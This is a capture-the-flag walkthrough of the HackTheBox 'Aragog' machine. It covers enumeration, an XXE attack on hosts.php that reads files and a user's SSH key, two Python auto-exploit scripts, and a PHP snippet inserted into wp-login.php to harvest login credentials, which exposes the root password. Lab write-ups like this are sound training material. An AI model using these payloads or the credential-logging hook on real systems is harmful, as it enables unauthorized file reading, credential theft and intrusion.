Aragog was a Medium Linux box from HackTheBox which give me the chance to play a little more with XEE, to understand better how it works. That was the first shell, the root we get with pspy catching a process to login the app with admin credentials.
The auto exploit in python is in the body of the post.
Hope you enjoy and learn something new!
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap| B(Port 21)
A --> |Nmap| C[Port 80]
B --> |Anonymous Login| D[hosts.txt file]
C --> |Apache Page - Gobuster| E[XEE]
E --> |Auto LFI| F[florian SSH Key]
F --> |pspy64| G[Script with auto wp-login.py]
G --> |Change wp-login.php| H[Dump Root Creds]
H --> J[Root Shell]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.78
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 21
Seems that we have a ftp open, so let’s try to see what we can get there
We login as anonymous and get the test.txt file
Humm… a subnet file. Ok let’s continue to port 80.
Port 80
We try to open it on the browser
Default apache page, we run gobuster to find anything in it
We run with -x php,html to look for this files too
1
gobuster dir -u http://10.10.10.78 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php,html
We find one interesting which is the hosts.php
We open it on the browser
We see what seems to be a number of possible hosts
We send it to burp
And try to send the data from ftp in it as POST request
And we see that is parsing it
So it is typical for XEE
We start looking for XEE payload and found this post from PayloadAllTheThings and this one which Explains XEE attack very well detailed.
So, the payload is this
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
We adapt to our cenario and read the /etc/passwd
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<details>
<subnet_mask>&file;</subnet_mask>
<test></test>
</details>
And we see that we can read files
And we get the ssh key from florian
And we logged in a ssh session
Now, let’s automate it.
Auto Shell Florian
First, we will use our python skeleton to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
Here it is
auto_florian
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto XEE in Aragog to retrieve the ssh key from florian user and auto connect
import argparse
import requests
import sys
import os
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
#Function to XEE the Florian ssh key
def getXEEKey(rhost):
url = "http://%s:80/hosts.php" %rhost
data = '''<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (ANY)>
<!ENTITY file SYSTEM "file:///home/florian/.ssh/id_rsa">
]>
<details>
<subnet_mask>&file;</subnet_mask>
<test></test>
</details> '''
florian_key = r.post(url, data=data, proxies=proxies)
print("[+] Let's get the florian ssh key !!! [+]")
index = florian_key.text.find("for")
global key
key = florian_key.text[index:index+1683].removeprefix('for ').strip()
#Function to connect ssh on the box
def connectSSH(rhost,key):
print("[+] Done! Now Let's connect!!!! [+]")
ssh_key = '/tmp/rsa_key'
f = open(ssh_key, 'w'); f.write(key); f.close()
os.system('chmod 400 /tmp/rsa_key')
os.system('sleep 1')
os.system('ssh -i /tmp/rsa_key florian@%s' %rhost)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
rhost = args.target
'''Here we call the functions'''
# Let's get the ssh key
getXEEKey(rhost)
# Let's connect
connectSSH(rhost,key)
if __name__ == '__main__':
main()
We also can do a script to get any archive on the server
auto_lfi_aragog.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto XEE in Aragog to retrieve files
import argparse
import requests
import sys
import os
import re
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
#Function to XEE files
def getXEEKey(rhost,file):
print("[+] Let's get the file for you !!! [+]")
url = "http://%s:80/hosts.php" %rhost
xml_xee = '''<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (ANY)>
<!ENTITY file SYSTEM "file:///%s">
]>
<details>
<subnet_mask>&file;</subnet_mask>
<test></test>
</details> ''' %file
lfi_file = r.post(url, data=xml_xee, proxies=proxies)
if lfi_file.status_code == 200:
match = re.search(r'for .*', lfi_file.text, re.DOTALL).group(0)
print(match.removeprefix('for ').strip())
else:
print("[+] Sorry, file does not exist. Try with another file !! [+]")
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-f', '--file', help='File to be read', required=True)
args = parser.parse_args()
rhost = args.target
file = args.file
'''Here we call the functions'''
# Let's get the ssh key
getXEEKey(rhost,file)
if __name__ == '__main__':
main()
Now, let’s get root
Florian –> Root
We see a WordPress page running on local host
We add aragog.htb on our /etc/hosts to get it
We could try a lot of stuff here. Get the credentials to access the mysql instance and try to crack the hashes. But nothing will work, the most important part here is that we can see a post which indicates what we must do next
Seems that we have a cron or something running on the box.
For this I’ll use pspy we download a Release
And download it to the Aragog box using Python SimpleHTTPServer
And execute it, we wait almost five minutes and something interesing pop up on our screen
Seems that it’s running a auto login on wp-login.php. It indicates that we need to intercept the request and get the credentials when it attempts to login
Since the login is a POST request to wp-login.php file in WordPress, I will modify that page so that it dumps any credentials submitted to it to file, by adding the lines under <?php. I got this part from 0xdf.
1
2
3
4
5
<?php
$rrr = print_r($_REQUEST, true);
$fff = fopen("/dev/shm/0x4rt3mis", "a");
fwrite($fff, $rrr);
fclose($fff);
I wait the cron runs again
And got the creds !KRgYs(JFO!&MTr)lf
Now, just become root with su
Done. We can do more with this box, but for the lack of time it’s good.
Source Code Analysis
We see the files that is running on the cron
restore.sh
We see that it’s removing the /var/www/html/dev_wiki/ and replacing it again. Just a clean up
1
2
3
4
rm -rf /var/www/html/dev_wiki/
cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
chown -R cliff:cliff /var/www/html/dev_wiki/
chmod -R 777 /var/www/html/dev_wiki/
wp-login.py
Here we see that it is logging in the app with the credentials, and making a POST request with the credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
wp_login = 'http://127.0.0.1/dev_wiki/wp-login.php'
wp_admin = 'http://127.0.0.1/dev_wiki/wp-admin/'
username = 'Administrator'
password = '!KRgYs(JFO!&MTr)lf'
with requests.Session() as s:
headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
datas={
'log':username, 'pwd':password, 'wp-submit':'Log In',
'redirect_to':wp_admin, 'testcookie':'1'
}
s.post(wp_login, headers=headers1, data=datas)
resp = s.get(wp_admin)
print(resp.text)
Lastly we see the hosts.php
file which allowed us to the initial shell on the box
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$details = simplexml_import_dom($dom);
$mask = $details->subnet_mask;
//echo "\r\nYou have provided subnet $mask\r\n";
$max_bits = '32';
$cidr = mask2cidr($mask);
$bits = $max_bits - $cidr;
$hosts = pow(2,$bits);
echo "\r\nThere are " . ($hosts - 2) . " possible hosts for $mask\r\n\r\n";
function mask2cidr($mask){
$long = ip2long($mask);
$base = ip2long('255.255.255.255');
return 32-log(($long ^ $base)+1,2);
}
?>